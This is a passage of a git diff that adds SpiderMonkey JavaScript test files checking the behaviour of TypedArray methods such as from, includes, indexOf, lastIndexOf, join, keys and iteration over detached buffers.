+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], "also not a function"), TypeError);
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], null), TypeError);
+
+ // Even if the function would not have been called.
+ assertThrowsInstanceOf(() => constructor.from([], JSON), TypeError);
+
+ // If mapfn is not undefined and not callable, the error happens before anything else.
+ // Before calling the constructor, before touching the arrayLike.
+ var log = "";
+ var obj;
+ function C(...rest) {
+ log += "C";
+ obj = new constructor(...rest);
+ return obj;
+ }
+ var p = new Proxy({}, {
+ has: function () { log += "1"; },
+ get: function () { log += "2"; },
+ getOwnPropertyDescriptor: function () { log += "3"; }
+ });
+ assertThrowsInstanceOf(() => constructor.from.call(C, p, {}), TypeError);
+ assertEq(log, "");
+
+ // If mapfn throws, the new object has already been created.
+ var arrayish = {
+ get length() { log += "l"; return 1; },
+ get 0() { log += "0"; return "q"; }
+ };
+ log = "";
+ var exc = {surprise: "ponies"};
+ assertThrowsValue(() => constructor.from.call(C, arrayish, () => { throw exc; }), exc);
+ assertEq(log, "lC0");
+ assertEq(obj instanceof constructor, true);
+
+ // It's a TypeError if the @@iterator property is a primitive (except null and undefined).
+ for (var primitive of ["foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(() => constructor.from({[Symbol.iterator] : primitive}), TypeError);
+ }
+ assertDeepEq(constructor.from({[Symbol.iterator]: null}), new constructor());
+ assertDeepEq(constructor.from({[Symbol.iterator]: undefined}), new constructor());
+
+ // It's a TypeError if the iterator's .next() method returns a primitive.
+ for (var primitive of [undefined, null, "foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(
+ () => constructor.from({
+ [Symbol.iterator]() {
+ return {next() { return primitive; }};
+ }
+ }),
+ TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_iterable.js b/js/src/tests/non262/TypedArray/from_iterable.js
new file mode 100644
index 0000000000..889c815898
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_iterable.js
@@ -0,0 +1,49 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // %TypedArray%.from works on arguments objects.
+ (function () {
+ assertDeepEq(constructor.from(arguments), new constructor(["0", "1", undefined]));
+ })("0", "1", undefined);
+
+ // If an object has both .length and [@@iterator] properties, [@@iterator] is used.
+ var a = ['0', '1', '2', '3', '4'];
+ a[Symbol.iterator] = function* () {
+ for (var i = 5; i--; )
+ yield this[i];
+ };
+
+ var log = '';
+ function f(x) {
+ log += x;
+ return x + x;
+ }
+
+ var b = constructor.from(a, f);
+ assertDeepEq(b, new constructor(['44', '33', '22', '11', '00']));
+ assertEq(log, '43210');
+
+ // In fact, if [@@iterator] is present, .length isn't queried at all.
+ var pa = new Proxy(a, {
+ has: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (has)");
+ return id in target;
+ },
+ get: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (get)");
+ return target[id];
+ },
+ getOwnPropertyDescriptor: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (getOwnPropertyDescriptor)");
+ return Object.getOwnPropertyDescriptor(target, id)
+ }
+ });
+ log = "";
+ b = constructor.from(pa, f);
+ assertDeepEq(b, new constructor(['44', '33', '22', '11', '00']));
+ assertEq(log, '43210');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_mapping.js b/js/src/tests/non262/TypedArray/from_mapping.js
new file mode 100644
index 0000000000..1c24815418
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_mapping.js
@@ -0,0 +1,45 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // If the mapfn argument to %TypedArray%.from is undefined, don't map.
+ assertDeepEq(constructor.from([3, 4, 5], undefined), new constructor([3, 4, 5]));
+ assertDeepEq(constructor.from([4, 5, 6], undefined, Math), new constructor([4, 5, 6]));
+
+ // mapfn is called with two arguments: value and index.
+ var log = [];
+ function f(...args) {
+ log.push(args);
+ return log.length;
+ }
+ assertDeepEq(constructor.from(['a', 'e', 'i', 'o', 'u'], f), new constructor([1, 2, 3, 4, 5]));
+ assertDeepEq(log, [['a', 0], ['e', 1], ['i', 2], ['o', 3], ['u', 4]]);
+
+ // If the object to be copied is non-iterable, mapfn is still called with two
+ // arguments.
+ log = [];
+ assertDeepEq(constructor.from({0: "zero", 1: "one", length: 2}, f), new constructor([1, 2]));
+ assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+ // If the object to be copied is iterable and the constructor is not Array,
+ // mapfn is still called with two arguments.
+ log = [];
+ function C(...rest) {
+ return new constructor(...rest);
+ }
+ C.from = constructor.from;
+ var c = new C(2);
+ c[0] = 1;
+ c[1] = 2;
+ assertDeepEq(C.from(["zero", "one"], f), c);
+ assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+ // The mapfn is called even if the value to be mapped is undefined.
+ assertDeepEq(constructor.from([0, 1, , 3], String), new constructor(["0", "1", "undefined", "3"]));
+ var arraylike = {length: 4, "0": 0, "1": 1, "3": 3};
+ assertDeepEq(constructor.from(arraylike, String), new constructor(["0", "1", "undefined", "3"]));
+}
+
+// %TypedArray%.from(obj, map) is not exactly the same as %TypedArray%.from(obj).map(mapFn).
+assertDeepEq(Int8Array.from([150], v => v / 2), new Int8Array([75]));
+assertDeepEq(Int8Array.from([150]).map(v => v / 2), new Int8Array([-53]));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_realms.js b/js/src/tests/non262/TypedArray/from_realms.js
new file mode 100644
index 0000000000..590589392f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_realms.js
@@ -0,0 +1,32 @@
+for (var constructor of anyTypedArrayConstructors) {
+ if (typeof newGlobal !== 'function')
+ break;
+
+ // G[constructor.name].from, where G is any global, produces an array whose prototype
+ // is G[constructor.name].prototype.
+ var g = newGlobal();
+ var ga = g[constructor.name].from([1, 2, 3]);
+ assertEq(ga instanceof g[constructor.name], true);
+
+ // %TypedArray%.from can be applied to a constructor from another realm.
+ var p = constructor.from.call(g[constructor.name], [1, 2, 3]);
+ assertEq(p instanceof g[constructor.name], true);
+ var q = g[constructor.name].from.call(constructor, [3, 4, 5]);
+ assertEq(q instanceof constructor, true);
+
+ // The default 'this' value received by a non-strict mapping function is
+ // that function's global, not %TypedArray%.from's global or the caller's global.
+ var h = newGlobal(), result = undefined;
+ h.mainGlobal = this;
+ h.eval("function f() { mainGlobal.result = this; }");
+ g[constructor.name].from.call(constructor, [5, 6, 7], h.f);
+ // (Give each global in the test a name, for better error messages. But use
+ // globalName, because window.name is complicated.)
+ this.globalName = "main";
+ g.globalName = "g";
+ h.globalName = "h";
+ assertEq(result.globalName, "h");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_string.js b/js/src/tests/non262/TypedArray/from_string.js
new file mode 100644
index 0000000000..09a2c36710
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_string.js
@@ -0,0 +1,24 @@
+// %TypedArray%.from called on Array should also handle strings correctly.
+var from = Int8Array.from.bind(Uint32Array);
+var toCodePoint = s => s.codePointAt(0);
+
+// %TypedArray%.from on a string iterates over the string.
+assertEqArray(from("test string", toCodePoint),
+ ['t', 'e', 's', 't', ' ', 's', 't', 'r', 'i', 'n', 'g'].map(toCodePoint));
+
+// %TypedArray%.from on a string handles surrogate pairs correctly.
+var gclef = "\uD834\uDD1E"; // U+1D11E MUSICAL SYMBOL G CLEF
+assertEqArray(from(gclef, toCodePoint), [gclef].map(toCodePoint));
+assertEqArray(from(gclef + " G", toCodePoint), [gclef, " ", "G"].map(toCodePoint));
+
+// %TypedArray%.from on a string calls the @@iterator method.
+String.prototype[Symbol.iterator] = function* () { yield 1; yield 2; };
+assertEqArray(from("anything"), [1, 2]);
+
+// If the iterator method is deleted, Strings are still arraylike.
+delete String.prototype[Symbol.iterator];
+assertEqArray(from("works", toCodePoint), ['w', 'o', 'r', 'k', 's'].map(toCodePoint));
+assertEqArray(from(gclef, toCodePoint), ['\uD834', '\uDD1E'].map(toCodePoint));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_surfaces.js b/js/src/tests/non262/TypedArray/from_surfaces.js
new file mode 100644
index 0000000000..ef15536378
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_surfaces.js
@@ -0,0 +1,12 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // Check superficial features of %TypeArray%.from.
+ var desc = Object.getOwnPropertyDescriptor(constructor.__proto__, "from");
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(constructor.from.length, 1);
+ assertThrowsInstanceOf(() => new constructor.from(), TypeError); // not a constructor
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_this.js b/js/src/tests/non262/TypedArray/from_this.js
new file mode 100644
index 0000000000..95af053b8d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_this.js
@@ -0,0 +1,59 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // The third argument to %TypedArray%.from is passed as the 'this' value to the
+ // mapping function.
+ var hits = 0, obj = {};
+ function f(x) {
+ assertEq(this, obj);
+ hits++;
+ }
+ constructor.from(["a", "b", "c"], f, obj);
+ assertEq(hits, 3);
+
+ // Without an argument, undefined is passed...
+ hits = 0;
+ function gs(x) {
+ "use strict";
+ assertEq(this, undefined);
+ hits++;
+ }
+ constructor.from("def", gs);
+ assertEq(hits, 3);
+
+ // ...and if the mapping function is non-strict, that means the global is
+ // passed.
+ var global = this;
+ hits = 0;
+ function g(x) {
+ assertEq(this, global);
+ hits++;
+ }
+ constructor.from("ghi", g);
+ assertEq(hits, 3);
+
+ // A primitive value can be passed.
+ for (var v of [0, "str", undefined]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ "use strict";
+ assertEq(this, v);
+ hits++;
+ };
+ constructor.from("pq", mapfn, v);
+ assertEq(hits, 2);
+ }
+
+ // ...and if the mapping function is non-strict, primitive values will
+ // be wrapped to objects.
+ for (var v of [0, "str", true]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ assertDeepEq(this, Object(v));
+ hits++;
+ };
+ constructor.from("pq", mapfn, v);
+ assertEq(hits, 2);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js b/js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js
new file mode 100644
index 0000000000..d1f574cb10
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js
@@ -0,0 +1,10 @@
+// Ensure the fast-path when TypedArray.from is called with a TypedArray still
+// checks for detached buffers.
+
+var ta = new Int32Array(4);
+detachArrayBuffer(ta.buffer);
+
+assertThrowsInstanceOf(() => Int32Array.from(ta), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/getter-name.js b/js/src/tests/non262/TypedArray/getter-name.js
new file mode 100644
index 0000000000..47050e3c1b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/getter-name.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1180290;
+var summary = 'TypedArray getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+let TypedArray = Object.getPrototypeOf(Float32Array.prototype).constructor;
+
+assertEq(Object.getOwnPropertyDescriptor(TypedArray, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "buffer").get.name, "get buffer");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "byteLength").get.name, "get byteLength");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "byteOffset").get.name, "get byteOffset");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "length").get.name, "get length");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, Symbol.toStringTag).get.name, "get [Symbol.toStringTag]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/has-property-op.js b/js/src/tests/non262/TypedArray/has-property-op.js
new file mode 100644
index 0000000000..7ae70ef36d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/has-property-op.js
@@ -0,0 +1,22 @@
+for (var constructor of anyTypedArrayConstructors) {
+ var obj = new constructor(5);
+
+ for (var i = 0; i < obj.length; i++)
+ assertEq(i in obj, true);
+
+ for (var v of [20, 300, -1, 5, -10, Math.pow(2, 32) - 1, -Math.pow(2, 32)])
+ assertEq(v in obj, false);
+
+ // Don't inherit elements
+ obj.__proto__[50] = "hello";
+ assertEq(obj.__proto__[50], "hello");
+ assertEq(50 in obj, false);
+
+ // Do inherit normal properties
+ obj.__proto__.a = "world";
+ assertEq(obj.__proto__.a, "world");
+ assertEq("a" in obj, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/includes.js b/js/src/tests/non262/TypedArray/includes.js
new file mode 100644
index 0000000000..bcc50a2572
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/includes.js
@@ -0,0 +1,40 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.includes.length, 1);
+
+ assertEq(new constructor([1, 2, 3]).includes(1), true);
+ assertEq(new constructor([1, 2, 3]).includes(2), true);
+ assertEq(new constructor([1, 2, 3]).includes(3), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, 1), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, -2), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, -100), true);
+
+ assertEq(new constructor([1, 2, 3]).includes("2"), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, 2), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, -1), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, 100), false);
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var includes = newGlobal()[constructor.name].prototype.includes;
+ assertEq(includes.call(new constructor([1, 2, 3]), 2), true);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.includes.call(invalidReceiver);
+ }, TypeError, "Assert that reverse fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).includes(2), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js b/js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js
new file mode 100644
index 0000000000..c179f78502
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js
@@ -0,0 +1,123 @@
+// Tests for TypedArray#indexOf.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.indexOf.length, 1);
+
+ // Works with one argument.
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(0), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(5), 4);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(6), -1);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1), 0);
+
+ if (isFloatConstructor(constructor)) {
+ assertEq(new constructor([NaN, 0, -0]).indexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(0), 1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(-0), 1);
+ } else {
+ // [NaN, 0, -0] will be coerced to [0, 0, 0]
+ assertEq(new constructor([NaN, 0, -0]).indexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(0), 0);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(-0), 0);
+ }
+
+ // Works with two arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1, 1), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1, -100), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(3, 100), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(5, -1), 4);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1, 2), 2);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1, -2), 4);
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.indexOf.call(invalidReceiver);
+ }, TypeError, "Assert that indexOf fails if this value is not a TypedArray");
+ });
+
+ // test that this.length is never called
+ assertEq(Object.defineProperty(new constructor([0, 1, 2, 3, 5]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).indexOf(1), 1);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ if (constructor.BYTES_PER_ELEMENT === 4) {
+ assertEq(new constructor([.1, .2, .3]).indexOf(.2), -1);
+ assertEq(new constructor([.1, .2, .3]).indexOf(Math.fround(.2)), 1);
+ } else {
+ assertEq(constructor.BYTES_PER_ELEMENT, 8);
+ assertEq(new constructor([.1, .2, .3]).indexOf(.2), 1);
+ }
+}
+
+// Tests for TypedArray#lastIndexOf.
+for (var constructor of anyTypedArrayConstructors) {
+
+ assertEq(constructor.prototype.lastIndexOf.length, 1);
+
+ // Works with one arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(0), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(5), 4);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(6), -1);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1), 4);
+
+ if (isFloatConstructor(constructor)) {
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(0), 2);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(-0), 2);
+ } else {
+ // [NaN, 0, -0] will be coerced to [0, 0, 0].
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(0), 2);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(-0), 2);
+ }
+
+ // Works with two arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1, 1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1, -100), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(3, 100), 2);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(5, -1), 4);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1, 2), 2);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1, -2), 2);
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.lastIndexOf.call(invalidReceiver);
+ }, TypeError, "Assert that lastIndexOf fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([0, 1, 2, 3, 5]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).lastIndexOf(1), 1);
+
+ // Starts search at last index when fromIndex parameter is absent.
+ assertEq(new constructor([10, 20, 10]).lastIndexOf(10), 2);
+
+ // Starts search at first index when fromIndex parameter is undefined.
+ assertEq(new constructor([10, 20, 10]).lastIndexOf(10, undefined), 0);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ if (constructor.BYTES_PER_ELEMENT === 4) {
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(.2), -1);
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(Math.fround(.2)), 1);
+ } else {
+ assertEq(constructor.BYTES_PER_ELEMENT, 8);
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(.2), 1);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js b/js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..72f8342156
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js
@@ -0,0 +1,7 @@
+var ta = new Uint8Array(1);
+ta[0] = 17;
+
+assertEq(ta.indexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/iterator-next-with-detached.js b/js/src/tests/non262/TypedArray/iterator-next-with-detached.js
new file mode 100644
index 0000000000..d6a31160a6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/iterator-next-with-detached.js
@@ -0,0 +1,73 @@
+function checkResult(actual, expected)
+{
+ assertEq(actual.value, expected.value);
+ assertEq(actual.done, expected.done);
+}
+
+if (typeof detachArrayBuffer === "function" && typeof newGlobal === "function")
+{
+ var iteratorFunction = Uint8Array.prototype[Symbol.iterator];
+
+
+ var thisGlobal = this;
+ var otherGlobal = newGlobal();
+
+ var thisNext = new Uint8Array()[Symbol.iterator]().next
+
+ for (const constructor of typedArrayConstructors)
+ {
+ assertEq(new constructor()[Symbol.iterator]().next, thisNext);
+
+ var globals =
+ [
+ [thisGlobal, thisGlobal],
+ [thisGlobal, otherGlobal],
+ [otherGlobal, otherGlobal],
+ [otherGlobal, thisGlobal],
+ ];
+
+ for (const [arrayGlobal, bufferGlobal] of globals)
+ {
+ var arr, buffer, iterator;
+
+ function arrayBufferIterator()
+ {
+ var byteLength = 2 * constructor.BYTES_PER_ELEMENT;
+ var buf = new bufferGlobal.ArrayBuffer(byteLength);
+ var tarray = new arrayGlobal[constructor.name](buf);
+
+ tarray[0] = 1;
+ tarray[1] = 2;
+
+ return [tarray, buf, Reflect.apply(iteratorFunction, tarray, [])];
+ }
+
+ [arr, buffer, iterator] = arrayBufferIterator();
+ checkResult(thisNext.call(iterator), {value: 1, done: false});
+ checkResult(thisNext.call(iterator), {value: 2, done: false});
+ checkResult(thisNext.call(iterator), {value: undefined, done: true});
+
+ // Test an exhausted iterator.
+ bufferGlobal.detachArrayBuffer(buffer);
+ checkResult(thisNext.call(iterator), {value: undefined, done: true});
+
+ // Test an all-but-exhausted iterator.
+ [arr, buffer, iterator] = arrayBufferIterator();
+ checkResult(thisNext.call(iterator), {value: 1, done: false});
+ checkResult(thisNext.call(iterator), {value: 2, done: false});
+
+ bufferGlobal.detachArrayBuffer(buffer);
+ assertThrowsInstanceOf(() => thisNext.call(iterator), TypeError);
+
+ // Test an unexhausted iterator.
+ [arr, buffer, iterator] = arrayBufferIterator();
+ checkResult(thisNext.call(iterator), {value: 1, done: false});
+
+ bufferGlobal.detachArrayBuffer(buffer);
+ assertThrowsInstanceOf(() => thisNext.call(iterator), TypeError);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/iterator.js b/js/src/tests/non262/TypedArray/iterator.js
new file mode 100644
index 0000000000..3f943aa70d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/iterator.js
@@ -0,0 +1,42 @@
+// Ensure that we're using [[ArrayLength]] to determine the number of
+// values to produce instead of the length property.
+
+function testIterationCount(iterator, expectedLength) {
+ for (let i = 0; i < expectedLength; i++)
+ assertEq(iterator.next().done, false);
+ assertEq(iterator.next().done, true);
+}
+
+let i8Array = new Int8Array(4);
+Object.defineProperty(i8Array, "length", {value: 0});
+let i8Iterator = i8Array[Symbol.iterator]();
+testIterationCount(i8Iterator, 4);
+
+// Veryify that the length property isn't even touched
+i8Array = new Int8Array();
+Object.defineProperty(i8Array, "length", {
+ get() {
+ throw TypeError;
+ }
+});
+i8Iterator = i8Array[Symbol.iterator]();
+testIterationCount(i8Iterator, 0);
+
+// Verify that it works for set as well
+i8Array = new Uint8Array(1);
+// Try setting a high length which would trigger failure
+Object.defineProperty(i8Array, "length", {value: 15});
+// Works if the fake length is ignored
+(new Uint8Array(4)).set(i8Array, 3);
+
+// Ensure that it works across globals
+let g2 = newGlobal();
+
+i8Array = new Int8Array(8);
+Object.defineProperty(i8Array, "length", {value: 0});
+let iterator = i8Array[Symbol.iterator]();
+iterator.next = g2.Array.prototype[Symbol.iterator]().next;
+testIterationCount(iterator, 8);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/join.js b/js/src/tests/non262/TypedArray/join.js
new file mode 100644
index 0000000000..0e797320fd
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/join.js
@@ -0,0 +1,48 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.join.length, 1);
+
+ assertEq(new constructor([1, 2, 3]).join(), "1,2,3");
+ assertEq(new constructor([1, 2, 3]).join(undefined), "1,2,3");
+ assertEq(new constructor([1, 2, 3]).join(null), "1null2null3");
+ assertEq(new constructor([1, 2, 3]).join(""), "123");
+ assertEq(new constructor([1, 2, 3]).join("+"), "1+2+3");
+ assertEq(new constructor([1, 2, 3]).join(.1), "10.120.13");
+ assertEq(new constructor([1, 2, 3]).join({toString(){return "foo"}}), "1foo2foo3");
+ assertEq(new constructor([1]).join("-"), "1");
+ assertEq(new constructor().join(), "");
+ assertEq(new constructor().join("*"), "");
+ assertEq(new constructor(1).join(), "0");
+ assertEq(new constructor(3).join(), "0,0,0");
+
+ assertThrowsInstanceOf(() => new constructor().join({toString(){throw new TypeError}}), TypeError);
+ assertThrowsInstanceOf(() => new constructor().join(Symbol()), TypeError);
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var join = newGlobal()[constructor.name].prototype.join;
+ assertEq(join.call(new constructor([1, 2, 3]), "\t"), "1\t2\t3");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.join.call(invalidReceiver);
+ }, TypeError, "Assert that join fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).join("\0"), "1\0002\0003");
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(new constructor([null, , NaN]).join(), "0,NaN,NaN");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/keys.js b/js/src/tests/non262/TypedArray/keys.js
new file mode 100644
index 0000000000..88477cd758
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/keys.js
@@ -0,0 +1,36 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.keys.length, 0);
+ assertEq(constructor.prototype.keys.name, "keys");
+
+ assertDeepEq([...new constructor(0).keys()], []);
+ assertDeepEq([...new constructor(1).keys()], [0]);
+ assertDeepEq([...new constructor(2).keys()], [0, 1]);
+ assertDeepEq([...new constructor([15]).keys()], [0]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.keys();
+ assertDeepEq(iterator.next(), {value: 0, done: false});
+ assertDeepEq(iterator.next(), {value: 1, done: false});
+ assertDeepEq(iterator.next(), {value: 2, done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var keys = newGlobal()[constructor.name].prototype.keys;
+ assertDeepEq([...keys.call(new constructor(2))], [0, 1]);
+ arr = new (newGlobal()[constructor.name])(2);
+ assertEq([...constructor.prototype.keys.call(arr)].toString(), "0,1");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.keys.call(invalidReceiver);
+ }, TypeError, "Assert that keys fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js b/js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..bffc05af73
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js
@@ -0,0 +1,7 @@
+var ta = new Uint8Array(1);
+ta[0] = 17;
+
+assertEq(ta.lastIndexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/length.js b/js/src/tests/non262/TypedArray/length.js
new file mode 100644
index 0000000000..7ed79b4954
--- /dev/null
